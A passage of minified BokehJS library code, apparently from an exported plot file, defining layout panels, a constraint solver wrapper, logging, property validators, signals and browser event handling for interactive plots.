\\\"+this.side+\\\")\\\"},t.prototype.initialize=function(){switch(e.prototype.initialize.call(this),this.side){case\\\"above\\\":this._dim=0,this._normals=[0,-1],this._size=this._height;break;case\\\"below\\\":this._dim=0,this._normals=[0,1],this._size=this._height;break;case\\\"left\\\":this._dim=1,this._normals=[-1,0],this._size=this._width;break;case\\\"right\\\":this._dim=1,this._normals=[1,0],this._size=this._width;break;default:a.logger.error(\\\"unrecognized side: '\\\"+this.side+\\\"'\\\")}},Object.defineProperty(t.prototype,\\\"dimension\\\",{get:function(){return this._dim},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"normals\\\",{get:function(){return this._normals},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_horizontal\\\",{get:function(){return\\\"above\\\"==this.side||\\\"below\\\"==this.side},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_vertical\\\",{get:function(){return\\\"left\\\"==this.side||\\\"right\\\"==this.side},enumerable:!0,configurable:!0}),t.prototype.apply_label_text_heuristics=function(t,e){var i,n,r=this.side;l.isString(e)?(i=m[r][e],n=g[r][e]):0===e?n=i=\\\"whatever\\\":e<0?(i=\\\"middle\\\",n=y[r]):(i=\\\"middle\\\",n=b[r]),t.textBaseline=i,t.textAlign=n},t.prototype.get_label_angle_heuristic=function(t){return v[this.side][t]},t}(n.LayoutCanvas);(r.SidePanel=w).initClass()},function(t,e,i){var n=t(350);function r(i){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new n.Constraint(new(n.Expression.bind.apply(n.Expression,[void 0].concat(t))),i)}}function o(i){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new n.Constraint(new(n.Expression.bind.apply(n.Expression,[void 0].concat(t))),i,n.Strength.weak)}}i.Variable=n.Variable,i.Expression=n.Expression,i.Constraint=n.Constraint,i.Operator=n.Operator,i.Strength=n.Strength,i.EQ=r(n.Operator.Eq),i.LE=r(n.Operator.Le),i.GE=r(n.Operator.Ge),i.WEAK_EQ=o(n.Operator.Eq),i.WEAK_LE=o(n.Operator.Le),i.WEAK_GE=o(n.Operator.Ge);var s=function(){function t(){this.solver=new n.Solver}return t.prototype.clear=function(){this.solver=new n.Solver},t.prototype.toString=function(){return\\\"Solver(num_constraints=\\\"+this.num_constraints+\\\", num_editables=\\\"+this.num_editables+\\\")\\\"},Object.defineProperty(t.prototype,\\\"num_constraints\\\",{get:function(){return this.solver.numConstraints},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"num_editables\\\",{get:function(){return this.solver.numEditVariables},enumerable:!0,configurable:!0}),t.prototype.get_constraints=function(){return this.solver.getConstraints()},t.prototype.update_variables=function(){this.solver.updateVariables()},t.prototype.has_constraint=function(t){return this.solver.hasConstraint(t)},t.prototype.add_constraint=function(e){try{this.solver.addConstraint(e)}catch(t){throw new Error(t.message+\\\": \\\"+e.toString())}},t.prototype.remove_constraint=function(t){this.solver.removeConstraint(t)},t.prototype.add_edit_variable=function(t,e){this.solver.addEditVariable(t,e)},t.prototype.remove_edit_variable=function(t){this.solver.removeEditVariable(t)},t.prototype.suggest_value=function(t,e){this.solver.suggestValue(t,e)},t}();i.Solver=s},function(t,e,i){var o=t(44),n={},s=function(t,e){this.name=t,this.level=e};i.LogLevel=s;var r=function(){function r(t,e){void 0===e&&(e=r.INFO),this._name=t,this.set_level(e)}return Object.defineProperty(r,\\\"levels\\\",{get:function(){return Object.keys(r.log_levels)},enumerable:!0,configurable:!0}),r.get=function(t,e){if(void 0===e&&(e=r.INFO),0<t.length){var i=n[t];return null==i&&(n[t]=i=new r(t,e)),i}throw new TypeError(\\\"Logger.get() expects a non-empty string name and an optional log-level\\\")},Object.defineProperty(r.prototype,\\\"level\\\",{get:function(){return this.get_level()},enumerable:!0,configurable:!0}),r.prototype.get_level=function(){return this._log_level},r.prototype.set_level=function(t){if(t instanceof s)this._log_level=t;else{if(!o.isString(t)||null==r.log_levels[t])throw new Error(\\\"Logger.set_level() expects a log-level object or a string name of a log-level\\\");this._log_level=r.log_levels[t]}var e=\\\"[\\\"+this._name+\\\"]\\\";for(var i in r.log_levels){var n=r.log_levels[i];n.level<this._log_level.level||this._log_level.level===r.OFF.level?this[i]=function(){}:this[i]=a(i,e)}},r.prototype.trace=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.debug=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.info=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.warn=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.error=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.TRACE=new s(\\\"trace\\\",0),r.DEBUG=new s(\\\"debug\\\",1),r.INFO=new s(\\\"info\\\",2),r.WARN=new s(\\\"warn\\\",6),r.ERROR=new s(\\\"error\\\",7),r.FATAL=new s(\\\"fatal\\\",8),r.OFF=new s(\\\"off\\\",9),r.log_levels={trace:r.TRACE,debug:r.DEBUG,info:r.INFO,warn:r.WARN,error:r.ERROR,fatal:r.FATAL,off:r.OFF},r}();function a(t,e){return null!=console[t]?console[t].bind(console,e):null!=console.log?console.log.bind(console,e):function(){}}i.Logger=r,i.logger=r.get(\\\"bokeh\\\"),i.set_log_level=function(t){null==r.log_levels[t]?(console.log(\\\"[bokeh] unrecognized logging level '\\\"+t+\\\"' passed to Bokeh.set_log_level(), ignoring\\\"),console.log(\\\"[bokeh] valid log levels are: \\\"+r.levels.join(\\\", \\\"))):(console.log(\\\"[bokeh] setting log level to: '\\\"+t+\\\"'\\\"),i.logger.set_level(t))}},function(t,e,i){var o=t(391),s=t(19),n=t(7),r=t(39),a=t(27),l=t(21),h=t(22),u=t(44);function c(e){try{return JSON.stringify(e)}catch(t){return e.toString()}}function _(t){return u.isPlainObject(t)&&(void 0===t.value?0:1)+(void 0===t.field?0:1)+(void 0===t.expr?0:1)==1}s.Signal,i.isSpec=_;var p=function(r){function t(t,e,i){var n=r.call(this)||this;return n.obj=t,n.attr=e,n.default_value=i,n.optional=!1,n.obj=t,n.attr=e,n.default_value=i,n.change=new s.Signal0(n.obj,\\\"change\\\"),n._init(),n.connect(n.change,function(){return n._init()}),n}return o.__extends(t,r),t.prototype.update=function(){this._init()},t.prototype.init=function(){},t.prototype.transform=function(t){return t},t.prototype.validate=function(t){},t.prototype.value=function(t){if(void 0===t&&(t=!0),void 0===this.spec.value)throw new Error(\\\"attempted to retrieve property value for property without value specification\\\");var e=this.transform([this.spec.value])[0];return null!=this.spec.transform&&t&&(e=this.spec.transform.compute(e)),e},t.prototype.array=function(t){if(!this.dataspec)throw new Error(\\\"attempted to retrieve property array for non-dataspec property\\\");var e;if(null!=this.spec.field){if(null==(e=this.transform(t.get_column(this.spec.field))))throw new Error(\\\"attempted to retrieve property array for nonexistent field '\\\"+this.spec.field+\\\"'\\\")}else if(null!=this.spec.expr)e=this.transform(this.spec.expr.v_compute(t));else{var i=t.get_length();null==i&&(i=1);var n=this.value(!1);e=l.repeat(n,i)}return null!=this.spec.transform&&(e=this.spec.transform.v_compute(e)),e},t.prototype._init=function(){var t,e=this.obj,i=this.attr,n=e.getv(i);if(void 0===n){var r=this.default_value;n=void 0!==r?r(e):null,e.setv(((t={})[i]=n,t),{silent:!0,defaults:!0})}if(u.isArray(n)?this.spec={value:n}:_(n)?this.spec=n:this.spec={value:n},this.dataspec&&null!=this.spec.field&&!u.isString(this.spec.field))throw new Error(\\\"field value for property '\\\"+i+\\\"' is not a string\\\");null!=this.spec.value&&this.validate(this.spec.value),this.init()},t.prototype.toString=function(){return\\\"Prop(\\\"+this.obj+\\\".\\\"+this.attr+\\\", spec: \\\"+c(this.spec)+\\\")\\\"},t}(s.Signalable());function d(i,n){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.validate=function(t){if(!n(t))throw new Error(i+\\\" property '\\\"+this.attr+\\\"' given invalid value: \\\"+c(t))},e}(p)}(i.Property=p).prototype.dataspec=!1;var f=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}((i.simple_prop=d)(\\\"Any\\\",function(t){return!0}));i.Any=f;var v=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Array\\\",function(t){return u.isArray(t)||t instanceof Float64Array}));i.Array=v;var m=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Bool\\\",u.isBoolean));i.Bool=m,i.Boolean=m;var g=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Color\\\",function(t){return u.isString(t)&&(r.is_svg_color(t.toLowerCase())||\\\"#\\\"==t.substring(0,1)||a.valid_rgb(t))}));i.Color=g;var y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Instance\\\",function(t){return null!=t.properties}));i.Instance=y;var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Number\\\",function(t){return u.isNumber(t)||u.isBoolean(t)}));i.Number=b;var x=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(i.Int=b);i.Angle=x;var w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Number\\\",function(t){return(u.isNumber(t)||u.isBoolean(t))&&0<=t&&t<=1}));i.Percent=w;var k=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"String\\\",u.isString));i.String=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(i.FontSize=k);function C(t,e){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(t,function(t){return l.includes(e,t)}))}i.Font=S;var T=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}((i.enum_prop=C)(\\\"Anchor\\\",n.LegendLocation));i.Anchor=T;var A=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"AngleUnits\\\",n.AngleUnits));i.AngleUnits=A;var E=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.transform=function(t){for(var e=new Uint8Array(t.length),i=0;i<t.length;i++)switch(t[i]){case\\\"clock\\\":e[i]=0;break;case\\\"anticlock\\\":e[i]=1}return e},e}(C(\\\"Direction\\\",n.Direction));i.Direction=E;var M=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Dimension\\\",n.Dimension));i.Dimension=M;var O=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Dimensions\\\",n.Dimensions));i.Dimensions=O;var z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"FontStyle\\\",n.FontStyle));i.FontStyle=z;var P=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LatLon\\\",n.LatLon));i.LatLon=P;var j=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LineCap\\\",n.LineCap));i.LineCap=j;var N=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LineJoin\\\",n.LineJoin));i.LineJoin=N;var F=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LegendLocation\\\",n.LegendLocation));i.LegendLocation=F;var D=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Location\\\",n.Location));i.Location=D;var I=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"OutputBackend\\\",n.OutputBackend));i.OutputBackend=I;var R=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Orientation\\\",n.Orientation));i.Orientation=R;var B=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"VerticalAlign\\\",n.VerticalAlign));i.VerticalAlign=B;var L=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"TextAlign\\\",n.TextAlign));i.TextAlign=L;var V=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"TextBaseline\\\",n.TextBaseline));i.TextBaseline=V;var G=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"RenderLevel\\\",n.RenderLevel));i.RenderLevel=G;var U=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"RenderMode\\\",n.RenderMode));i.RenderMode=U;var q=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"SizingMode\\\",n.SizingMode));i.SizingMode=q;var Y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"SpatialUnits\\\",n.SpatialUnits));i.SpatialUnits=Y;var X=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Distribution\\\",n.Distribution));i.Distribution=X;var H=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"StepMode\\\",n.StepMode));i.StepMode=H;var W=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"PaddingUnits\\\",n.PaddingUnits));i.PaddingUnits=W;var J=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"StartEnd\\\",n.StartEnd));function Q(i,n,r){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.init=function(){null==this.spec.units&&(this.spec.units=r);var t=this.spec.units;if(!l.includes(n,t))throw new Error(i+\\\" units must be one of \\\"+n+\\\", given invalid value: \\\"+t)},Object.defineProperty(e.prototype,\\\"units\\\",{get:function(){return this.spec.units},set:function(t){this.spec.units=t},enumerable:!0,configurable:!0}),e}(b)}i.StartEnd=J;var $=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype.transform=function(t){return\\\"deg\\\"==this.spec.units&&(t=h.map(t,function(t){return t*Math.PI/180})),t=h.map(t,function(t){return-t}),e.prototype.transform.call(this,t)},t}((i.units_prop=Q)(\\\"AngleSpec\\\",n.AngleUnits,\\\"rad\\\"));(i.AngleSpec=$).prototype.dataspec=!0;var K=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(g);(i.ColorSpec=K).prototype.dataspec=!0;var Z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(Q(\\\"DistanceSpec\\\",n.SpatialUnits,\\\"data\\\"));(i.DistanceSpec=Z).prototype.dataspec=!0;var tt=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.FontSizeSpec=tt).prototype.dataspec=!0;var et=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.MarkerSpec=et).prototype.dataspec=!0;var it=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(b);(i.NumberSpec=it).prototype.dataspec=!0;var nt=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.StringSpec=nt).prototype.dataspec=!0},function(t,e,h){var i=t(15),u=t(32);function n(t,e){var i={};for(var n in t){var r=t[n];i[e+n]=r}return i}var r={line_color:[i.ColorSpec,\\\"black\\\"],line_width:[i.NumberSpec,1],line_alpha:[i.NumberSpec,1],line_join:[i.LineJoin,\\\"bevel\\\"],line_cap:[i.LineCap,\\\"butt\\\"],line_dash:[i.Array,[]],line_dash_offset:[i.Number,0]};h.line=function(t){return void 0===t&&(t=\\\"\\\"),n(r,t)};var o={fill_color:[i.ColorSpec,\\\"gray\\\"],fill_alpha:[i.NumberSpec,1]};h.fill=function(t){return void 0===t&&(t=\\\"\\\"),n(o,t)};var s={text_font:[i.Font,\\\"helvetica\\\"],text_font_size:[i.FontSizeSpec,\\\"12pt\\\"],text_font_style:[i.FontStyle,\\\"normal\\\"],text_color:[i.ColorSpec,\\\"#444444\\\"],text_alpha:[i.NumberSpec,1],text_align:[i.TextAlign,\\\"left\\\"],text_baseline:[i.TextBaseline,\\\"bottom\\\"],text_line_height:[i.Number,1.2]};h.text=function(t){return void 0===t&&(t=\\\"\\\"),n(s,t)},h.create=function(t){for(var e={},i=0,n=t;i<n.length;i++){var r=n[i],o=r.split(\\\":\\\"),s=o[0],a=o[1],l=void 0;switch(s){case\\\"line\\\":l=h.line;break;case\\\"fill\\\":l=h.fill;break;case\\\"text\\\":l=h.text;break;default:throw new Error(\\\"Unknown property mixin kind '\\\"+s+\\\"'\\\")}u.extend(e,l(a))}return e}},function(t,e,i){var n=t(391),r=t(8),o=t(197),p=t(185),d=t(186),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"SelectionManager\\\",this.internal({source:[s.Any]})},e.prototype.initialize=function(){t.prototype.initialize.call(this),this.inspectors={}},e.prototype.select=function(t,e,i,n){void 0===n&&(n=!1);for(var r=[],o=[],s=0,a=t;s<a.length;s++){var l=a[s];l instanceof p.GlyphRendererView?r.push(l):l instanceof d.GraphRendererView&&o.push(l)}for(var h=!1,u=0,c=o;u<c.length;u++){var l=c[u],_=l.model.selection_policy.hit_test(e,l);h=h||l.model.selection_policy.do_selection(_,l.model,i,n)}if(0<r.length){var _=this.source.selection_policy.hit_test(e,r);h=h||this.source.selection_policy.do_selection(_,this.source,i,n)}return h},e.prototype.inspect=function(t,e){var i=!1;if(t instanceof p.GlyphRendererView){var n=t.hit_test(e);if(null!=n){i=!n.is_empty();var r=this.get_or_create_inspector(t.model);r.update(n,!0,!1),this.source.setv({inspected:r},{silent:!0}),this.source.inspect.emit([t,{geometry:e}])}}else if(t instanceof d.GraphRendererView){var n=t.model.inspection_policy.hit_test(e,t);i=i||t.model.inspection_policy.do_inspection(n,e,t,!1,!1)}return i},e.prototype.clear=function(t){this.source.selected.clear(),null!=t&&this.get_or_create_inspector(t.model).clear()},e.prototype.get_or_create_inspector=function(t){return null==this.inspectors[t.id]&&(this.inspectors[t.id]=new o.Selection),this.inspectors[t.id]},e}(r.HasProps);(i.SelectionManager=a).initClass()},function(t,e,i){var n=function(){function t(){this._dev=!1}return Object.defineProperty(t.prototype,\\\"dev\\\",{get:function(){return this._dev},set:function(t){this._dev=t},enumerable:!0,configurable:!0}),t}();i.Settings=n,i.settings=new n},function(t,e,i){var n,r=t(391),o=t(29),s=t(25),a=t(21),l=function(){function t(t,e){this.sender=t,this.name=e}return t.prototype.connect=function(t,e){void 0===e&&(e=null),u.has(this.sender)||u.set(this.sender,[]);var i=u.get(this.sender);if(null!=_(i,this,t,e))return!1;var n=e||t;c.has(n)||c.set(n,[]);var r=c.get(n),o={signal:this,slot:t,context:e};return i.push(o),r.push(o),!0},t.prototype.disconnect=function(t,e){void 0===e&&(e=null);var i=u.get(this.sender);if(null==i||0===i.length)return!1;var n=_(i,this,t,e);if(null==n)return!1;var r=e||t,o=c.get(r);return n.signal=null,d(i),d(o),!0},t.prototype.emit=function(t){for(var e=u.get(this.sender)||[],i=0,n=e;i<n.length;i++){var r=n[i],o=r.signal,s=r.slot,a=r.context;o===this&&s.call(a,t,this.sender)}},t}(),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r.__extends(e,t),e.prototype.emit=function(){t.prototype.emit.call(this,void 0)},e}(i.Signal=l);i.Signal0=h,(n=l=i.Signal||(i.Signal={})).disconnectBetween=function(t,e){var i=u.get(t);if(null!=i&&0!==i.length){var n=c.get(e);if(null!=n&&0!==n.length){for(var r=0,o=n;r<o.length;r++){var s=o[r];if(null==s.signal)return;s.signal.sender===t&&(s.signal=null)}d(i),d(n)}}},n.disconnectSender=function(t){var e=u.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null==r.signal)return;var o=r.context||r.slot;r.signal=null,d(c.get(o))}d(e)}},n.disconnectReceiver=function(t){var e=c.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null==r.signal)return;var o=r.signal.sender;r.signal=null,d(u.get(o))}d(e)}},n.disconnectAll=function(t){var e=u.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];r.signal=null}d(e)}var o=c.get(t);if(null!=o&&0!==o.length){for(var s=0,a=o;s<a.length;s++){var r=a[s];r.signal=null}d(o)}},i.Signal=l,i.Signalable=function(t){return null!=t?function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r.__extends(e,t),e.prototype.connect=function(t,e){return t.connect(e,this)},e}(t):function(){function t(){}return t.prototype.connect=function(t,e){return t.connect(e,this)},t}()},(i._Signalable||(i._Signalable={})).connect=function(t,e){return t.connect(e,this)};var u=new WeakMap,c=new WeakMap;function _(t,e,i,n){return a.find(t,function(t){return t.signal===e&&t.slot===i&&t.context===n})}var p=new o.Set;function d(t){0===p.size&&s.defer(f),p.add(t)}function f(){p.forEach(function(t){a.removeBy(t,function(t){return null==t.signal})}),p.clear()}},function(t,e,d){var i=t(391),o=t(347),s=t(19),a=t(14),l=t(5),n=t(45),h=t(21),f=t(32),r=t(44),u=t(3);d.is_mobile=\\\"ontouchstart\\\"in window||0<navigator.maxTouchPoints;var c=function(){function t(t,e,i,n){var r=this;this.plot_view=t,this.toolbar=e,this.hit_area=i,this.plot=n,this.pan_start=new s.Signal(this,\\\"pan:start\\\"),this.pan=new s.Signal(this,\\\"pan\\\"),this.pan_end=new s.Signal(this,\\\"pan:end\\\"),this.pinch_start=new s.Signal(this,\\\"pinch:start\\\"),this.pinch=new s.Signal(this,\\\"pinch\\\"),this.pinch_end=new s.Signal(this,\\\"pinch:end\\\"),this.rotate_start=new s.Signal(this,\\\"rotate:start\\\"),this.rotate=new s.Signal(this,\\\"rotate\\\"),this.rotate_end=new s.Signal(this,\\\"rotate:end\\\"),this.tap=new s.Signal(this,\\\"tap\\\"),this.doubletap=new s.Signal(this,\\\"doubletap\\\"),this.press=new s.Signal(this,\\\"press\\\"),this.move_enter=new s.Signal(this,\\\"move:enter\\\"),this.move=new s.Signal(this,\\\"move\\\"),this.move_exit=new s.Signal(this,\\\"move:exit\\\"),this.scroll=new s.Signal(this,\\\"scroll\\\"),this.keydown=new s.Signal(this,\\\"keydown\\\"),this.keyup=new s.Signal(this,\\\"keyup\\\"),this.hammer=new o(this.hit_area),this._configure_hammerjs(),this.hit_area.addEventListener(\\\"mousemove\\\",function(t){return r._mouse_move(t)}),this.hit_area.addEventListener(\\\"mouseenter\\\",function(t){return r._mouse_enter(t)}),this.hit_area.addEventListener(\\\"mouseleave\\\",function(t){return r._mouse_exit(t)}),this.hit_area.addEventListener(\\\"wheel\\\",function(t){return r._mouse_wheel(t)}),document.addEventListener(\\\"keydown\\\",this),document.addEventListener(\\\"keyup\\\",this)}return t.prototype.destroy=function(){this.hammer.destroy(),document.removeEventListener(\\\"keydown\\\",this),document.removeEventListener(\\\"keyup\\\",this)},t.prototype.handleEvent=function(t){\\\"keydown\\\"==t.type?this._key_down(t):\\\"keyup\\\"==t.type&&this._key_up(t)},t.prototype._configure_hammerjs=function(){var e=this;this.hammer.get(\\\"doubletap\\\").recognizeWith(\\\"tap\\\"),this.hammer.get(\\\"tap\\\").requireFailure(\\\"doubletap\\\"),this.hammer.get(\\\"doubletap\\\").dropRequireFailure(\\\"tap\\\"),this.hammer.on(\\\"doubletap\\\",function(t){return e._doubletap(t)}),this.hammer.on(\\\"tap\\\",function(t){return e._tap(t)}),this.hammer.on(\\\"press\\\",function(t){return e._press(t)}),this.hammer.get(\\\"pan\\\").set({direction:o.DIRECTION_ALL}),this.hammer.on(\\\"panstart\\\",function(t){return e._pan_start(t)}),this.hammer.on(\\\"pan\\\",function(t){return e._pan(t)}),this.hammer.on(\\\"panend\\\",function(t){return e._pan_end(t)}),this.hammer.get(\\\"pinch\\\").set({enable:!0}),this.hammer.on(\\\"pinchstart\\\",function(t){return e._pinch_start(t)}),this.hammer.on(\\\"pinch\\\",function(t){return e._pinch(t)}),this.hammer.on(\\\"pinchend\\\",function(t){return e._pinch_end(t)}),this.hammer.get(\\\"rotate\\\").set({enable:!0}),this.hammer.on(\\\"rotatestart\\\",function(t){return e._rotate_start(t)}),this.hammer.on(\\\"rotate\\\",function(t){return e._rotate(t)}),this.hammer.on(\\\"rotateend\\\",function(t){return e._rotate_end(t)})},t.prototype.register_tool=function(i){var n=this,t=i.model.event_type;null!=t&&(r.isString(t)?this._register_tool(i,t):t.forEach(function(t,e){return n._register_tool(i,t,e<1)}))},t.prototype._register_tool=function(t,e,i){void 0===i&&(i=!0);var n=t,r=n.model.id,o=function(e){return function(t){t.id==r&&e(t.e)}},s=function(e){return function(t){e(t.e)}};switch(e){case\\\"pan\\\":null!=n._pan_start&&n.connect(this.pan_start,o(n._pan_start.bind(n))),null!=n._pan&&n.connect(this.pan,o(n._pan.bind(n))),null!=n._pan_end&&n.connect(this.pan_end,o(n._pan_end.bind(n)));break;case\\\"pinch\\\":null!=n._pinch_start&&n.connect(this.pinch_start,o(n._pinch_start.bind(n))),null!=n._pinch&&n.connect(this.pinch,o(n._pinch.bind(n))),null!=n._pinch_end&&n.connect(this.pinch_end,o(n._pinch_end.bind(n)));break;case\\\"rotate\\\":null!=n._rotate_start&&n.connect(this.rotate_start,o(n._rotate_start.bind(n))),null!=n._rotate&&n.connect(this.rotate,o(n._rotate.bind(n))),null!=n._rotate_end&&n.connect(this.rotate_end,o(n._rotate_end.bind(n)));break;case\\\"move\\\":null!=n._move_enter&&n.connect(this.move_enter,o(n._move_enter.bind(n))),null!=n._move&&n.connect(this.move,o(n._move.bind(n))),null!=n._move_exit&&n.connect(this.move_exit,o(n._move_exit.bind(n)));break;case\\\"tap\\\":null!=n._tap&&n.connect(this.tap,o(n._tap.bind(n)));break;case\\\"press\\\":null!=n._press&&n.connect(this.press,o(n._press.bind(n)));break;case\\\"scroll\\\":null!=n._scroll&&n.connect(this.scroll,o(n._scroll.bind(n)));break;default:throw new Error(\\\"unsupported event_type: \\\"+e)}i&&(null!=n._doubletap&&n.connect(this.doubletap,s(n._doubletap.bind(n))),null!=n._keydown&&n.connect(this.keydown,s(n._keydown.bind(n))),null!=n._keyup&&n.connect(this.keyup,s(n._keyup.bind(n))),d.is_mobile&&null!=n._scroll&&\\\"pinch\\\"==e&&(a.logger.debug(\\\"Registering scroll on touch screen\\\"),n.connect(this.scroll,o(n._scroll.bind(n)))))},t.prototype._hit_test_renderers=function(t,e){for(var i=this.plot_view.get_renderer_views(),n=0,r=h.reversed(i);n<r.length;n++){var o=r[n],s=o.model.level;if((\\\"annotation\\\"==s||\\\"overlay\\\"==s)&&null!=o.interactive_hit&&o.interactive_hit(t,e))return o}return null},t.prototype._hit_test_frame=function(t,e){return this.plot_view.frame.bbox.contains(t,e)},t.prototype._hit_test_canvas=function(t,e){return this.plot_view.canvas.bbox.contains(t,e)},t.prototype._trigger=function(e,i,t){var n=this,r=this.toolbar.gestures,o=e.name,s=o.split(\\\":\\\")[0],a=this._hit_test_renderers(i.sx,i.sy),l=this._hit_test_canvas(i.sx,i.sy);switch(s){case\\\"move\\\":var h=r[s].active;null!=h&&this.trigger(e,i,h.id);var u=this.toolbar.inspectors.filter(function(t){return t.active}),c=\\\"default\\\";null!=a?(c=a.cursor(i.sx,i.sy)||c,f.isEmpty(u)||(e=this.move_exit,o=e.name)):this._hit_test_frame(i.sx,i.sy)&&(f.isEmpty(u)||(c=\\\"crosshair\\\")),this.plot_view.set_cursor(c),this.plot_view.set_toolbar_visibility(l),u.map(function(t){return n.trigger(e,i,t.id)});break;case\\\"tap\\\":var _=t.target;if(null!=_&&_!=this.hit_area)return;null!=a&&null!=a.on_hit&&a.on_hit(i.sx,i.sy);var h=r[s].active;null!=h&&this.trigger(e,i,h.id);break;case\\\"scroll\\\":var p=d.is_mobile?\\\"pinch\\\":\\\"scroll\\\",h=r[p].active;null!=h&&(t.preventDefault(),t.stopPropagation(),this.trigger(e,i,h.id));break;default:var h=r[s].active;null!=h&&this.trigger(e,i,h.id)}this._trigger_bokeh_event(i)},t.prototype.trigger=function(t,e,i){void 0===i&&(i=null),t.emit({id:i,e:e})},t.prototype._trigger_bokeh_event=function(t){var e=u.BokehEvent.event_class(t);null!=e?this.plot.trigger_event(e.from_event(t)):a.logger.debug(\\\"Unhandled event of type \\\"+t.type)},t.prototype._get_sxy=function(t){var e,i=(e=t,\\\"undefined\\\"!=typeof TouchEvent&&e instanceof TouchEvent?(0!=t.touches.length?t.touches:t.changedTouches)[0]:t),n=i.pageX,r=i.pageY,o=l.offset(this.hit_area),s=o.left,a=o.top;return{sx:n-s,sy:r-a}},t.prototype._gesture_event=function(t){return i.__assign({type:t.type},this._get_sxy(t.srcEvent),{deltaX:t.deltaX,deltaY:t.deltaY,scale:t.scale,shiftKey:t.srcEvent.shiftKey})},t.prototype._tap_event=function(t){return i.__assign({type:t.type},this._get_sxy(t.srcEvent),{shiftKey:t.srcEvent.shiftKey})},t.prototype._move_event=function(t){return i.__assign({type:t.type},this._get_sxy(t))},t.prototype._scroll_event=function(t){return 